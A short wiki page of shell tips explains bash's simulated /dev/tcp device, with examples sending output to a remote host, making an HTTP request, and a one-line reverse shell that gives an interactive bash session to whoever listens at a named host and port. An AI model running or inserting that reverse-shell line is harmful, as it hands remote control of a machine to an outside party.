User Tools

Site Tools


there_s_a_dev_file_for_tcp_connections

It doesn't really exist – it's simulated by bash only when doing redirections. They're of the form:

/dev/tcp/<hostname>/<portnumber>

To send stdout to a TCP connection:

$ mycomment > /dev/tcp/awesome.com/9999

To get a bidirectional TCP connection in shell script:

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\n\n">&3
cat <&3

To make an interactive bash shell appear for someone listening at awesome.com port 9999:

bash 0<> /dev/tcp/awesome.com/9999 1>&0 2>&0
there_s_a_dev_file_for_tcp_connections.txt · Last modified: 2010/09/02 15:12 by tkbletsc

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki